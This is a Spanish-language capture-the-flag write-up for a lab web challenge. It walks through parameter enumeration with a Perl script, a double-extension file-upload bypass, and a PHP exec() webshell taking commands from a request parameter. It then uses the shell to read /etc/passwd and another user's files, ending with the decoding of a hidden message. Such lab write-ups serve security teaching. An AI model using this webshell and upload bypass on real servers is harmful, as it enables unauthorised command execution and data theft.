Solucionario Web CTF Sec-Track por @Killr00t

13
SOLUCIONARIO WEB CHALLENGE CTF Juan Andrés Bedoya Gonzalez @killr00t [email protected] [email protected] 2013

description

Solucionario Web CTF Sec-Track por @Killr00t

Transcript of Solucionario Web CTF Sec-Track por @Killr00t

Page 1: Solucionario Web CTF Sec-Track por @Killr00t

SOLUCIONARIO WEB CHALLENGE CTFJuan Andrés Bedoya Gonzalez

@[email protected]

[email protected]

Page 2: Solucionario Web CTF Sec-Track por @Killr00t

Para esta ocasión tenemos un reto web en donde debemos lograr tener acceso a un mensaje oculto en el sistema entre dos personas, para esto trataré de detallar los pasos a continuación siendo lo mas detallado y directo en la solución del ejercicio

Identificación de Objetivo

Tenemos 3 irecciones IP Up una es la nuestra (192.168.1.67) otra de nuestro objetivo (192.168.1.70) y otra que es nuestro Gateway (192.168.1.254).

Recolección de información

El aplicativo web nos muestra un upload y no mucha información que nos ayude a identificar vulnerabilidades, dentro de la información que nos puede servir es la siguiente

[email protected] => correo del admin o webmaster el cual puede ser el mismo

• http://192.168.1.70:8880/myphp.php?id=102 tenemos en la url una variable id que recibe un numero y muestra una información en este caso nos muestra

Page 3: Solucionario Web CTF Sec-Track por @Killr00t

y al darle click a PHP Credits nos muestra eso Creditos :D , ahora la idea es testear ese parametro ID enviandole numeros al azar o en secuencia o como queramos para ver que otra información podemos encontrar

• http://192.168.1.70:8880/myphp.php?id=100

para automatizar esta tarea desarrolle el siguiente script en perl

=======================================COPY HERE===========================================#!/usr/bin/perl# Este archivo me va a testiar los parametros# de myphp.php?id=

use LWP::UserAgent;use HTTP::Request;my $ua = new LWP::UserAgent;$ua->agent(" Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3");$ua->timeout(1) || die "Conecction faield";

my $url = "http://192.168.1.70:8880/";my $param = "myphp.php?id=";@data;system("clear");for($i=-2000;$i<=2000;$i++){ $pagina = $url.$param.$i; $busqueda = new HTTP::Request GET => $pagina; $resultado = $ua->request($busqueda); $result = $resultado->content(); $long = length($result);

print "Testiando $pagina\n"; if($result!~/harder/g){push @data,$pagina;}}system("clear");foreach $line(@data){print "[+] $line\n"}=======================================COPY END============================================

Page 4: Solucionario Web CTF Sec-Track por @Killr00t

según el rango del ciclo el me lo va testiar y al final me mostrara los links que sean diferentes al mensaje “Try harder, you might find something here. Or not? Who knows.” El resultado de la ejecución del script es el siguiente:

revisando la información en cada link podemos obtener configuraciones sobre el servidor y sobre todo sobre el PHP , entre la información mas importante tenemos:

• drunkadm.localdomain:8880 => ya lo teniamos en el correo encontrado• Server Root => /etc/apache2• Directorio Web => /var/www • Usuario => www-data• Funciones Deshabilitadas en el php

system, passthru, popen, proc_open, pcntl_exec, shell_exec, fsockopen, python_eval, perl->system

Esto es importante , las funciones deshabilitadas en el php con esta información sabemos que no podemos utilizar comandos de sistema operativo por medio de dichas funciones, pero tambien podemos saber cuales si , por ejemplo tenemos la funcion exec() y eval() de php las cuales no estan en esa lista asi que debemos trabjar con ellas.

Dentro el aplicativo no hay mas información relevante que nos sirva para identificar vulnerabilidades dentro del aplicativo web y solo con el upload creo que lo mas evidente es hacer un bypass al upload y subir una shell para ejecutar comandos de S.O

Scanning de puertos

Page 5: Solucionario Web CTF Sec-Track por @Killr00t

En el scanning solo tenemos dos servicios el 22 que es el SSH y el 8880 que es nuestro aplicativo webotro vector de ataque seria coger el usuario del correo encontrado en el aplicativo web y hacer un bruteforce haber que se encuentra, este vector no lo utilizaré

Análisis de Vulnerabilidades

para analizar las vulnerabilidades en este caso para tratar de hacer bypass al upload nos centraremos en la logica de los filtrados que se utilizan para estas funciones de uploady especialmente nos vamos a centrar en una que trataré de explicar y que se entienda xD

Uno de los metodos de los desarrolladores o que yo como tal en ese rol he probado es que para poder filtrar por extenciones de archivos y asi evitar que suban cualquier tipo de arvhivo es separar con la funcion explode() de php el archivo que me envian por los puntos ejemplo, tenemos file.php entonces seria de la siguiente forma la logica de algun desarrollador que apenas este aprendiendo o que no tenga buenas practicas en programación

=========================================CODE EXAMPLE======================================$file=”imagen.jpg”;$array = explode(“.”,$file);

$nombre = $array[0];$extencion = $array[1];

if($extencion !='jpg' or $extencion!='png' or $extencion!='bmp'){ echo “Extencion invalida, selecciona un archivo correcto <br>”; echo “Solo se permiten extenciones jpg , png, bmp<br>”;}else{

//Realizo operación de guardado en el servidor }

========================================= FIN EXAMPLE =======================================

el problema de la validación anterior es que si hay mas de 1 punto el array contendra mucha mas información y si el programador no tiene en cuenta esa información dentro de las validaciones se puede bypassear el upload .

Ejemplo:

tengo un archivo generado maliciosamente con un comando de sistema operativo y para testear la logica de la programación del upload en especial el filtro que acabe de explicar tendriamos el archivo formado asi:

Page 6: Solucionario Web CTF Sec-Track por @Killr00t

imagen.jgp.phpTenemos en negro la extencion que leerá la logica de filtrado y en rojo tenemos otra extensión cualquiera en este caso un php entonces dentro del codigo php quedaria

$array[0] => image$array[1]=>jpg

$nombre = $array[0];$extencion = $array[1];

y como el nombre posee 3 puntos en $array[2]=>php

si en la logica no se tiene encuenta esa otra información lo que se guardaria en el servidor seria una bonita shell xD image.jpg.php

Para testiar esto vamos inicialmente a subir una imagen cualquiera para ver como se guarda y ella plicativo funcionaimagen => ninja.jpgnos la sube correctamente pero le aplica una funcion de cifrado

Page 7: Solucionario Web CTF Sec-Track por @Killr00t

tenemos que para ninja.jpg nos genera un hash 1012ca6b363dea182f651321fbd66d45.jpgahora tenemos que ver si le hace función hash sin nada adicional y si lo realiza al nombre de la imagen o al nombre con la extensión

Hash Generado => 1012ca6b363dea182f651321fbd66d45md5('ninja') => 3899dcbab79f92af727c2190bbd8abc5md5('ninja.jpg') => 1012ca6b363dea182f651321fbd66d45

resulta que lo realiza al nombre junto con la extensión y lo mueve dentro de la carpeta images/hash.extensión

Explotación de Vulnerabilidad

Antes de crear nuestra prueba debemos recordar que si subimos un archivo php con funciones system() para ejecutar comandos de sistema operativo no nos va a funcionar por lo encontrado con anterioridad entonces para crear la PoC insertaremos una de las dos funciones que no esta deshabilitada en el php.ini, para esto crearemos un archivo con el contenido <?php echo exec('whoami');?> el codigo anterior nos debe mostrar el usuario utilizado por ella plicativo web que como ya lo sabemos es el www-data, la imagen se llamara: z.jpg.php => f5f078e6795238e8bfdc0bad2b413b09

al subirla la encontraremos en images/f5f078e6795238e8bfdc0bad2b413b09.php y al abrirla encontramos:

Como vemos se nos ejecuto el comando, si trataramos de subir un archivo con la funcion system() no ejecutaria nada pues simplemente esa función esta deshabilitada ahora el aplicativo tiene otro filtro y es que al subir la imagen lee el contenido de la misma y busca palabras claves de ejecución de código utilizados para obtener una shell reversa como lo es socket, /bin/bash, perl entre otras y nos mostraria el siguiente mensaje al subir algo con esas caracteristicas

Page 8: Solucionario Web CTF Sec-Track por @Killr00t

otra caracteristica que posee el objetivo remoto es que tiene ya instalado un netcat entonces podriamos perfectamente tener un reverse shell sin complicaciones, esto si lo quieren comprobar simplemente ejecuten un reverse shell con netcat utilizando exec().En mi caso y solo para la solución del ejercicio solo utilizare comandos desde la url<?php echo exec($_REQUEST['c']) ;?>Este code me permite ejecutar por parametro get comandos de sistema operativo, al ser la funcion exec() quien me ejecuta los comandos, una de las complicaciones es que no muestra toda la información que sale del comando esto se puede solucionar con un foreach osea recorriendo la información salida por el comando y printearla, yo solo utilizare esa shell minima y redireccionare los comandos a un archivo :D

Obteniendo /etc/passwd

Page 9: Solucionario Web CTF Sec-Track por @Killr00t

ahora tenemos que recordar lo que decía en la pagina de sec-track sobre el reto

La información precisa a identificar es un mensaje oculto entre dos personas. Precisamente la información sobre una cita entre ambas.

La palabra clave dentro de esa frase es Oculto así que realizaremos un ls recursivo sobre el directorio web para ver que hay de oculto

tenemos dos archivos ocultos el .htacces que donde se hacen configuraciones y el .proof que si no se me parece a nada, leamoslo para ver que contiene:

Page 10: Solucionario Web CTF Sec-Track por @Killr00t

leyendo el archivo .proof dentro del directorio web obtenemos

esto si tiene cara de algo oculto , lo importante de este texto es el secret code que al parecer es base_64

TgglMUxecjJDSDclN1Ej => Lh%1L^r2CH7%7Q#

tal vez sea la contraseña de algo o tal vez de nada , otra cosa importante es que nos lo dice un tal bob puede ser un usuario en el sistema , verificando en el /etc/passwd efectivamente es un usuario valido

bob:x:1000:1000:bob, , , :/home/bob:/bin/bash

esto confirma que posiblemente se pueda realizar un bruteforce utilizando los usuarios del /etc/passwd para tener una shell mas amigable que la mia por get ¬¬

otra vulnerabilidad que puedo observar y que se me olvido hablar de ella es que el apache esta mal conigurado permitiendo leer información de otros usuarios en sus directorios sin ser los nuestros.

Page 11: Solucionario Web CTF Sec-Track por @Killr00t

ayudandonos de la mala configuración de apache ahora leemos el home de bob obteniendo lo siguiente

hay un public_html dentro de bob esto nos hace suponer que tambien que esta asociado al servicio de apachepor ende podriamos ver el home de bob desde la url osea el index.php con los includes y el encrypt.phpesto lo realizamos abriendo desde la url asi:

Page 12: Solucionario Web CTF Sec-Track por @Killr00t

esto nos hace suponer que bob tiene un aplicativo para cifrar mensajes y que lo que encontramos en ella rchivo oculto nos sirve para sacar esos mensajes, a continuación lo que realice es hacer un backup del directorio de bob colocando ese aplicativo localmente para ver como funciona

colocandolo desde nuestro servidor local nos aprece lo mismo y comprobamos que es para cifrar mensajesutilizando el script encrypt.php vemos como es el proceso de cifrado

Page 13: Solucionario Web CTF Sec-Track por @Killr00t

Como vemos el aplicativo cifra el mensaje y nos da un base_64 que es parecido a lo que encontramos y pasandolo al index del aplicativo de bobo tenemos lo siguiente:

:D obtenemos el mensaje en claro :D nos aparecen unos numeros parecidos a coordenadas, buscandola en google maps obtenemos la ubicación

es de esta forma como cumplimos con nuestro objetivo :D

saludos a todos@[email protected]@gmail.com